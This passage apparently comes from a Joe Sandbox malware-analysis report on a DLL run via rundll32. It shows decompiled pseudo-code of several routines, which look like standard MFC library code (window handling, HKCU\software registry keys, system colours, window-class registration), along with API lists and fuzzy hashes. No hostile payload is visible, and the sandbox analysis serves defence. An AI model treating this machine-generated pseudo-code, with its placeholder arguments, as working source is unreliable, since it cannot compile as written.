							_v40 = _t48;
							_v52 = 0x28;
							_v48 = 1;
							SendMessageA( *(_t71 + 0x20), 0x405, 0,  &_v52);
						}
					}
				}
				_t61 = GetWindowLongA( *(_t72 + 0x20), 0xfffffffc);
				E1000FAB8(_t61, _t72, GetWindowLongA, _t85);
				if(GetWindowLongA( *(_t72 + 0x20), 0xfffffffc) == _t61) {
					_t43 =  *( *((intOrPtr*)( *_t72 + 0xf0))());
					if(_t43 != 0) {
						SetWindowLongA( *(_t72 + 0x20), 0xfffffffc, _t43);
					}
				}
				E1000FBD6(_t61, _t72);
				return  *((intOrPtr*)( *_t72 + 0x114))();
			}

APIs

_memset.LIBCMT ref: 1000FD17
SendMessageA.USER32(00000000,00000405,00000000,?), ref: 1000FD40
GetWindowLongA.USER32 ref: 1000FD52
GetWindowLongA.USER32 ref: 1000FD63
SetWindowLongA.USER32(?,000000FC,?), ref: 1000FD7F

Strings

(, xrefs: 1000FD36

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: LongWindow$MessageSend_memset
String ID: (
API String ID: 2997958587-3887548279
Opcode ID: 334c7e26ab9e293c68ecfd01600b3aa59bde0f1c2bd920c06c28c769ee1fcf56
Instruction ID: 83308454b4964f7b832e75e01b7e263ef3bf02c7b32fea1d5a5d450cbed2f8d3
Opcode Fuzzy Hash: 334c7e26ab9e293c68ecfd01600b3aa59bde0f1c2bd920c06c28c769ee1fcf56
Instruction Fuzzy Hash: 2E31B0756006159FEB14EF68C985A6EB7F9FF082D0F15052EE9469BA95EB30F800CB90

Uniqueness

Uniqueness Score: -1.00%

Function 10013E40, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10013E40(intOrPtr __ecx) {
				void* _v8;
				void* _v12;
				void* _v16;
				int _v20;
				intOrPtr _v24;
				intOrPtr _t32;

				_t32 = __ecx;
				_v24 = __ecx;
				_v16 = 0;
				_v8 = 0;
				_v12 = 0;
				if(RegOpenKeyExA(0x80000001, "software", 0, 0x2001f,  &_v8) == 0 && RegCreateKeyExA(_v8,  *(_t32 + 0x54), 0, 0, 0, 0x2001f, 0,  &_v12,  &_v20) == 0) {
					RegCreateKeyExA(_v12,  *(_v24 + 0x68), 0, 0, 0, 0x2001f, 0,  &_v16,  &_v20);
				}
				if(_v8 != 0) {
					RegCloseKey(_v8);
				}
				if(_v12 != 0) {
					RegCloseKey(_v12);
				}
				return _v16;
			}

0x10013e5b
0x10013e62
0x10013e65
0x10013e68
0x10013e6b
0x10013e76
0x10013ead
0x10013ead
0x10013eb8
0x10013ebd
0x10013ebd
0x10013ec2
0x10013ec7
0x10013ec7
0x10013ed0

APIs

RegOpenKeyExA.ADVAPI32(80000001,software,00000000,0002001F,?), ref: 10013E6E
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?), ref: 10013E91
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?), ref: 10013EAD
RegCloseKey.ADVAPI32(?), ref: 10013EBD
RegCloseKey.ADVAPI32(?), ref: 10013EC7

Strings

software, xrefs: 10013E56

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: CloseCreate$Open
String ID: software
API String ID: 1740278721-2010147023
Opcode ID: 274d387f2041077595a9ef0d73c23cf33c700d5c2420ca228f327ec70e6c6d43
Instruction ID: 4673323d0336752e6ce9d3e664aa048b12ff1b48ba7cb76d312e9863fa3d259e
Opcode Fuzzy Hash: 274d387f2041077595a9ef0d73c23cf33c700d5c2420ca228f327ec70e6c6d43
Instruction Fuzzy Hash: 7711B676D00259BBDB11DB9ACD88DDFBFFCEF85740B1040AAA504A2121D2719A55DB60

Uniqueness

Uniqueness Score: -1.00%

Function 10013CEE, Relevance: 10.6, APIs: 7, Instructions: 51
memoryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E10013CEE(void* __ecx, long* __edi, void* __esi) {
				long _t22;
				void* _t23;
				void* _t28;
				void* _t31;
				void* _t33;
				signed int _t35;
				long* _t40;
				void* _t41;
				void* _t42;

				_t41 = __esi;
				_t40 = __edi;
				_t31 = __ecx;
				LeaveCriticalSection( *((intOrPtr*)(_t42 - 0x18)) + 0x1c);
				E10017C83(0, 0);
				_t22 = E100134F9(_t31, 0, __edi[3], 4);
				_t33 = 2;
				_t23 = LocalReAlloc( *(__esi + 0xc), _t22, ??);
				_t46 = _t23;
				if(_t23 == 0) {
					LeaveCriticalSection( *(_t42 - 0x14));
					_t23 = E1000A0A7(0, _t33, __edi, __esi, _t46);
				}
				 *(_t41 + 0xc) = _t23;
				E100174D0(_t40, _t23 +  *(_t41 + 8) * 4, 0, _t40[3] -  *(_t41 + 8) << 2);
				 *(_t41 + 8) = _t40[3];
				TlsSetValue( *_t40, _t41);
				_t35 =  *(_t42 + 8);
				_t28 =  *(_t41 + 0xc);
				if(_t28 != 0 && _t35 <  *(_t41 + 8)) {
					 *((intOrPtr*)(_t28 + _t35 * 4)) =  *((intOrPtr*)(_t42 + 0xc));
				}
				_push( *(_t42 - 0x14));
				LeaveCriticalSection();
				return E10017C60(_t28);
			}

APIs

LeaveCriticalSection.KERNEL32(?), ref: 10013CF5
__CxxThrowException@8.LIBCMT ref: 10013CFF

Part of subcall function 10017C83: RaiseException.KERNEL32(?,?,?,?), ref: 10017CC3

LocalReAlloc.KERNEL32(?,00000000,00000002,00000000,00000010,?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004), ref: 10013D16
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441,00000000), ref: 10013D23

Part of subcall function 1000A0A7: __CxxThrowException@8.LIBCMT ref: 1000A0BB

_memset.LIBCMT ref: 10013D42
TlsSetValue.KERNEL32(?,00000000), ref: 10013D53
LeaveCriticalSection.KERNEL32(?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441,00000000), ref: 10013D74

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: CriticalLeaveSection$Exception@8Throw$AllocExceptionLocalRaiseValue_memset
String ID:
API String ID: 356813703-0
Opcode ID: 7dcaef9dd6dc2c20a9afc37e1070812523d3c5c417591cb16522903d097c7fc3
Instruction ID: da2c65ce7076d342f4508b5b0ea9d94b5e5006c79099ef9a6e76071fa7915ca4
Opcode Fuzzy Hash: 7dcaef9dd6dc2c20a9afc37e1070812523d3c5c417591cb16522903d097c7fc3
Instruction Fuzzy Hash: BD118E7450060AAFE710EF65DC8AC1BBBB9FF04354720C128F4599A566CB30ECA0CB50

Uniqueness

Uniqueness Score: -1.00%

Function 10013810, Relevance: 10.5, APIs: 7, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10013810(void* __ecx) {
				struct HBRUSH__* _t14;
				void* _t18;

				_t18 = __ecx;
				 *((intOrPtr*)(_t18 + 0x28)) = GetSysColor(0xf);
				 *((intOrPtr*)(_t18 + 0x2c)) = GetSysColor(0x10);
				 *((intOrPtr*)(_t18 + 0x30)) = GetSysColor(0x14);
				 *((intOrPtr*)(_t18 + 0x34)) = GetSysColor(0x12);
				 *((intOrPtr*)(_t18 + 0x38)) = GetSysColor(6);
				 *((intOrPtr*)(_t18 + 0x24)) = GetSysColorBrush(0xf);
				_t14 = GetSysColorBrush(6);
				 *(_t18 + 0x20) = _t14;
				return _t14;
			}

0x1001381a
0x10013820
0x10013827
0x1001382e
0x10013835
0x10013842
0x10013849
0x1001384c
0x1001384f
0x10013853

APIs

GetSysColor.USER32(0000000F), ref: 1001381C
GetSysColor.USER32(00000010), ref: 10013823
GetSysColor.USER32(00000014), ref: 1001382A
GetSysColor.USER32(00000012), ref: 10013831
GetSysColor.USER32(00000006), ref: 10013838
GetSysColorBrush.USER32(0000000F), ref: 10013845
GetSysColorBrush.USER32(00000006), ref: 1001384C

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: Color$Brush
String ID:
API String ID: 2798902688-0
Opcode ID: ec9fc2993fab2a5d820fe3d8a281f31af429397108a6c3a84ca499368f54399a
Instruction ID: 74b272bfbd302397870cb0a2abf86f81c97ca9371361d4e5ce15514e9afb48cd
Opcode Fuzzy Hash: ec9fc2993fab2a5d820fe3d8a281f31af429397108a6c3a84ca499368f54399a
Instruction Fuzzy Hash: E8F01C71940748ABE730BF728D49B47BAE5FFC4B10F12092ED2858BA90E6B6E041DF40

Uniqueness

Uniqueness Score: -1.00%

Function 10028DE5, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 24
registrywindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10028DE5() {
				long _t5;
				int _t6;

				if((0x80000000 & GetVersion()) == 0 || GetVersion() != 4) {
					_t5 = GetVersion();
					if((0x80000000 & _t5) != 0) {
						L5:
						 *0x1005acc4 =  *0x1005acc4 & 0x00000000;
						return _t5;
					}
					_t5 = GetVersion();
					if(_t5 != 3) {
						goto L5;
					}
					goto L4;
				} else {
					L4:
					_t6 = RegisterWindowMessageA("MSWHEEL_ROLLMSG");
					 *0x1005acc4 = _t6;
					return _t6;
				}
			}

0x10028df6
0x10028e00
0x10028e04
0x10028e20
0x10028e20
0x00000000
0x10028e20
0x10028e06
0x10028e0c
0x00000000
0x00000000
0x00000000
0x10028e0e
0x10028e0e
0x10028e13
0x10028e19
0x00000000
0x10028e19

APIs

GetVersion.KERNEL32 ref: 10028DED
GetVersion.KERNEL32 ref: 10028DF8
GetVersion.KERNEL32 ref: 10028E00
GetVersion.KERNEL32 ref: 10028E06
RegisterWindowMessageA.USER32(MSWHEEL_ROLLMSG), ref: 10028E13

Strings

MSWHEEL_ROLLMSG, xrefs: 10028E0E

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: Version$MessageRegisterWindow
String ID: MSWHEEL_ROLLMSG
API String ID: 303823969-2485103130
Opcode ID: 85f3e66c9038b440300e9b11d08aab107bdf81c33b47830274e071894da04cd4
Instruction ID: a1cfe5ae80d7d924f96357e0403be069d270e7200ca7c890729efff85db7b39d
Opcode Fuzzy Hash: 85f3e66c9038b440300e9b11d08aab107bdf81c33b47830274e071894da04cd4
Instruction Fuzzy Hash: 34E0D83E80213792F700A374AD0034939D5DB442E0F930066ED0042258CB24098747A5

Uniqueness

Uniqueness Score: -1.00%

Function 1000C209, Relevance: 9.1, APIs: 6, Instructions: 115
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E1000C209(void* __ecx, void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t37;
				signed int _t54;
				intOrPtr _t57;
				long _t60;
				struct HWND__* _t63;
				CHAR* _t64;
				void* _t65;
				void* _t67;
				void* _t71;
				void* _t72;
				long _t73;
				void* _t74;
				void* _t75;
				signed int _t77;
				void* _t78;
				signed int _t79;
				void* _t81;

				_t71 = __edx;
				_t79 = _t81 - 0x9c;
				_t37 =  *0x10057a08; // 0xfd220812
				 *(_t79 + 0x98) = _t37 ^ _t79;
				_t73 =  *(_t79 + 0xa4);
				_t77 = 0;
				 *((intOrPtr*)(_t79 - 0x80)) =  *((intOrPtr*)(_t79 + 0xa8));
				E1000C12A(0);
				_t67 = _t72;
				_t63 = E1000C15E(0, _t79 - 0x70);
				 *(_t79 - 0x7c) = _t63;
				if(_t63 !=  *(_t79 - 0x70)) {
					EnableWindow(_t63, 1);
				}
				 *(_t79 - 0x78) =  *(_t79 - 0x78) & _t77;
				GetWindowThreadProcessId(_t63, _t79 - 0x78);
				if(_t63 == 0 ||  *(_t79 - 0x78) != GetCurrentProcessId()) {
					L6:
					__eflags = _t73;
					if(__eflags != 0) {
						_t77 = _t73 + 0x78;
					}
					goto L8;
				} else {
					_t60 = SendMessageA(_t63, 0x376, 0, 0);
					if(_t60 == 0) {
						goto L6;
					} else {
						_t77 = _t60;
						L8:
						 *(_t79 - 0x74) =  *(_t79 - 0x74) & 0x00000000;
						if(_t77 != 0) {
							 *(_t79 - 0x74) =  *_t77;
							_t57 =  *((intOrPtr*)(_t79 + 0xb0));
							if(_t57 != 0) {
								 *_t77 = _t57 + 0x30000;
							}
						}
						if(( *(_t79 + 0xac) & 0x000000f0) == 0) {
							_t54 =  *(_t79 + 0xac) & 0x0000000f;
							if(_t54 <= 1) {
								_t24 = _t79 + 0xac;
								 *_t24 =  *(_t79 + 0xac) | 0x00000030;
								__eflags =  *_t24;
							} else {
								if(_t54 + 0xfffffffd <= 1) {
									 *(_t79 + 0xac) =  *(_t79 + 0xac) | 0x00000020;
								}
							}
						}
						_t96 = _t73;
						 *(_t79 - 0x6c) = 0;
						if(_t73 == 0) {
							_t64 = _t79 - 0x6c;
							_t73 = 0x104;
							__eflags = GetModuleFileNameA(0, _t64, 0x104) - 0x104;
							if(__eflags == 0) {
								 *((char*)(_t79 + 0x97)) = 0;
							}
						} else {
							_t64 =  *(_t73 + 0x50);
						}
						_push( *(_t79 + 0xac));
						_push(_t64);
						_push( *((intOrPtr*)(_t79 - 0x80)));
						_push( *(_t79 - 0x7c));
						_t74 = E1000C093(_t64, _t67, _t73, _t77, _t96);
						if(_t77 != 0) {
							 *_t77 =  *(_t79 - 0x74);
						}
						if( *(_t79 - 0x70) != 0) {
							EnableWindow( *(_t79 - 0x70), 1);
						}
						E1000C12A(1);
						_pop(_t75);
						_pop(_t78);
						_pop(_t65);
						return E100167D5(_t74, _t65,  *(_t79 + 0x98) ^ _t79, _t71, _t75, _t78);
					}
				}
			}

APIs

Part of subcall function 1000C15E: GetParent.USER32(100014EC), ref: 1000C1B1
Part of subcall function 1000C15E: GetLastActivePopup.USER32(100014EC), ref: 1000C1C0
Part of subcall function 1000C15E: IsWindowEnabled.USER32(100014EC), ref: 1000C1D5
Part of subcall function 1000C15E: EnableWindow.USER32(100014EC,00000000), ref: 1000C1E8

EnableWindow.USER32(?,00000001), ref: 1000C256
GetWindowThreadProcessId.USER32(?,?), ref: 1000C264
GetCurrentProcessId.KERNEL32 ref: 1000C26E
SendMessageA.USER32(?,00000376,00000000,00000000), ref: 1000C283
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1000C300
EnableWindow.USER32(?,00000001), ref: 1000C33C

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: Window$Enable$Process$ActiveCurrentEnabledFileLastMessageModuleNameParentPopupSendThread
String ID:
API String ID: 1877664794-0
Opcode ID: d475a19da1505cd8c491af7de1dd181a650697f179afdcdb5f27c752af681c02
Instruction ID: 906afa4fd5bad6b09c7d7bb12576003d117f5a582180c2333a3862cf80afbe79
Opcode Fuzzy Hash: d475a19da1505cd8c491af7de1dd181a650697f179afdcdb5f27c752af681c02
Instruction Fuzzy Hash: A1416A32A0035C9FFB31CFA58C85FDD7BA8EF05390F210129E949AB286D7709A408B50

Uniqueness

Uniqueness Score: -1.00%

Function 1000C15E, Relevance: 9.1, APIs: 6, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000C15E(struct HWND__* _a4, struct HWND__** _a8) {
				struct HWND__* _t7;
				void* _t13;
				struct HWND__** _t15;
				struct HWND__* _t16;
				struct HWND__* _t17;
				struct HWND__* _t18;

				_t18 = _a4;
				_t17 = _t18;
				if(_t18 != 0) {
					L5:
					if((GetWindowLongA(_t17, 0xfffffff0) & 0x40000000) == 0) {
						L8:
						_t16 = _t17;
						_t7 = _t17;
						if(_t17 == 0) {
							L10:
							if(_t18 == 0 && _t17 != 0) {
								_t17 = GetLastActivePopup(_t17);
							}
							_t15 = _a8;
							if(_t15 != 0) {
								if(_t16 == 0 || IsWindowEnabled(_t16) == 0 || _t16 == _t17) {
									 *_t15 =  *_t15 & 0x00000000;
								} else {
									 *_t15 = _t16;
									EnableWindow(_t16, 0);
								}
							}
							return _t17;
						} else {
							goto L9;
						}
						do {
							L9:
							_t16 = _t7;
							_t7 = GetParent(_t7);
						} while (_t7 != 0);
						goto L10;
					}
					_t17 = GetParent(_t17);
					L7:
					if(_t17 != 0) {
						goto L5;
					}
					goto L8;
				}
				_t13 = E1000C087();
				if(_t13 != 0) {
					L4:
					_t17 =  *(_t13 + 0x20);
					goto L7;
				}
				_t13 = E1000A7CE();
				if(_t13 != 0) {
					goto L4;
				}
				_t17 = 0;
				goto L8;
			}

APIs

GetWindowLongA.USER32 ref: 1000C190
GetParent.USER32(100014EC), ref: 1000C19E
GetParent.USER32(100014EC), ref: 1000C1B1
GetLastActivePopup.USER32(100014EC), ref: 1000C1C0
IsWindowEnabled.USER32(100014EC), ref: 1000C1D5
EnableWindow.USER32(100014EC,00000000), ref: 1000C1E8

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: Window$Parent$ActiveEnableEnabledLastLongPopup
String ID:
API String ID: 670545878-0
Opcode ID: 716a915a51b72e7755bd765e65025d5e7cdfb43fa73cbfe2d9e3b7854765710c
Instruction ID: b03ffd99d979528eb1576ebd7f6c5d6629826c0934e428a14188cd3025a76a69
Opcode Fuzzy Hash: 716a915a51b72e7755bd765e65025d5e7cdfb43fa73cbfe2d9e3b7854765710c
Instruction Fuzzy Hash: CC11A33264533A57F221DB698C80F9A72ECDF4BAD0F260129FC44E329ADB60DC0242D5

Uniqueness

Uniqueness Score: -1.00%

Function 1001411A, Relevance: 9.0, APIs: 6, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E1001411A(struct HWND__* _a4, struct tagPOINT _a8, intOrPtr _a12) {
				struct tagRECT _v20;
				struct HWND__* _t12;
				struct HWND__* _t21;

				ClientToScreen(_a4,  &_a8);
				_push(5);
				_push(_a4);
				while(1) {
					_t12 = GetWindow();
					_t21 = _t12;
					if(_t21 == 0) {
						break;
					}
					if(GetDlgCtrlID(_t21) != 0 && (GetWindowLongA(_t21, 0xfffffff0) & 0x10000000) != 0) {
						GetWindowRect(_t21,  &_v20);
						_push(_a12);
						if(PtInRect( &_v20, _a8) != 0) {
							return _t21;
						}
					}
					_push(2);
					_push(_t21);
				}
				return _t12;
			}

APIs

ClientToScreen.USER32(?,?), ref: 10014129
GetDlgCtrlID.USER32(00000000), ref: 1001413D
GetWindowLongA.USER32 ref: 1001414B
GetWindowRect.USER32 ref: 1001415D
PtInRect.USER32(?,?,?), ref: 1001416D
GetWindow.USER32(?,00000005), ref: 1001417A

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: Window$Rect$ClientCtrlLongScreen
String ID:
API String ID: 1315500227-0
Opcode ID: fd09e00dcf5aea0f889a5d5334f0ce8489c3ad9d17b5f7afd937dd6b6d05cc64
Instruction ID: 106842abd73dbf2249684b53af78e8d9c6ae05809ec90903e9ae8d6f26667822
Opcode Fuzzy Hash: fd09e00dcf5aea0f889a5d5334f0ce8489c3ad9d17b5f7afd937dd6b6d05cc64
Instruction Fuzzy Hash: AA014F36500126BBDB12DF658C48EDE77ACEF15791F124114F911AA1A0DB30DA82CA94

Uniqueness

Uniqueness Score: -1.00%

Function 10012406, Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 234
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E10012406(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, signed int _a4) {
				intOrPtr _v8;
				signed int _v12;
				signed int _v16;
				char* _v20;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v40;
				intOrPtr _v52;
				signed int _v56;
				void* __ebp;
				intOrPtr _t122;
				void* _t128;
				intOrPtr _t130;
				signed int _t139;
				signed int _t144;
				signed int _t175;
				signed int _t177;
				signed int _t179;
				signed int _t181;
				signed int _t183;
				signed int _t187;
				void* _t190;
				intOrPtr _t191;
				signed int _t201;

				_t190 = __ecx;
				_t122 = E1000D5EC(__ebx, __edi, __esi, __eflags);
				_v8 = _t122;
				_t3 =  &_a4;
				 *_t3 = _a4 &  !( *(_t122 + 0x18));
				if( *_t3 == 0) {
					return 1;
				}
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t201 = 0;
				E100174D0(0,  &_v56, 0, 0x28);
				_v52 = DefWindowProcA;
				_t128 = E1000D5EC(__ebx, 0, 0, __eflags);
				__eflags = _a4 & 0x00000001;
				_v40 =  *((intOrPtr*)(_t128 + 8));
				_t130 =  *0x1005aa70; // 0x10003
				_t187 = 8;
				_v32 = _t130;
				_v16 = _t187;
				if(__eflags != 0) {
					_push( &_v56);
					_v56 = 0xb;
					_v20 = "AfxWnd80s";
					_t183 = E10012222(_t187, _t190, 0, 0, __eflags);
					__eflags = _t183;
					if(_t183 != 0) {
						_t201 = 1;
						__eflags = 1;
					}
				}
				__eflags = _a4 & 0x00000020;
				if(__eflags != 0) {
					_v56 = _v56 | 0x0000008b;
					_push( &_v56);
					_v20 = "AfxOleControl80s";
					_t181 = E10012222(_t187, _t190, 0, _t201, __eflags);
					__eflags = _t181;
					if(_t181 != 0) {
						_t201 = _t201 | 0x00000020;
						__eflags = _t201;
					}
				}
				__eflags = _a4 & 0x00000002;
				if(__eflags != 0) {
					_push( &_v56);
					_v56 = 0;
					_v20 = "AfxControlBar80s";
					_v28 = 0x10;
					_t179 = E10012222(_t187, _t190, 0, _t201, __eflags);
					__eflags = _t179;
					if(_t179 != 0) {
						_t201 = _t201 | 0x00000002;
						__eflags = _t201;
					}
				}
				__eflags = _a4 & 0x00000004;
				if(__eflags != 0) {
					_v56 = _t187;
					_v28 = 0;
					_t177 = E100123C5(_t190, __eflags,  &_v56, "AfxMDIFrame80s", 0x7a01);
					__eflags = _t177;
					if(_t177 != 0) {
						_t201 = _t201 | 0x00000004;
						__eflags = _t201;
					}
				}
				__eflags = _a4 & _t187;
				if(__eflags != 0) {
					_v56 = 0xb;
					_v28 = 6;
					_t175 = E100123C5(_t190, __eflags,  &_v56, "AfxFrameOrView80s", 0x7a02);
					__eflags = _t175;
					if(_t175 != 0) {
						_t201 = _t201 | _t187;
						__eflags = _t201;
					}
				}
				__eflags = _a4 & 0x00000010;
				if(__eflags != 0) {
					_v12 = 0xff;
					_t201 = _t201 | E10010087(_t187, _t190, _t201, __eflags,  &_v16, 0x3fc0);
					_t48 =  &_a4;
					 *_t48 = _a4 & 0xffffc03f;
					__eflags =  *_t48;
				}
				__eflags = _a4 & 0x00000040;
				if(__eflags != 0) {
					_v12 = 0x10;
					_t201 = _t201 | E10010087(_t187, _t190, _t201, __eflags,  &_v16, 0x40);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00000080;
				if(__eflags != 0) {
					_v12 = 2;
					_t201 = _t201 | E10010087(_t187, _t190, _t201, __eflags,  &_v16, 0x80);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00000100;
				if(__eflags != 0) {
					_v12 = _t187;
					_t201 = _t201 | E10010087(_t187, _t190, _t201, __eflags,  &_v16, 0x100);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00000200;
				if(__eflags != 0) {
					_v12 = 0x20;
					_t201 = _t201 | E10010087(_t187, _t190, _t201, __eflags,  &_v16, 0x200);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00000400;
				if(__eflags != 0) {
					_v12 = 1;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x400);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00000800;
				if(__eflags != 0) {
					_v12 = 0x40;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x800);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00001000;
				if(__eflags != 0) {
					_v12 = 4;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x1000);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00002000;
				if(__eflags != 0) {
					_v12 = 0x80;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x2000);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00004000;
				if(__eflags != 0) {
					_v12 = 0x800;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x4000);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00008000;
				if(__eflags != 0) {
					_v12 = 0x400;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x8000);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00010000;
				if(__eflags != 0) {
					_v12 = 0x200;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x10000);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00020000;
				if(__eflags != 0) {
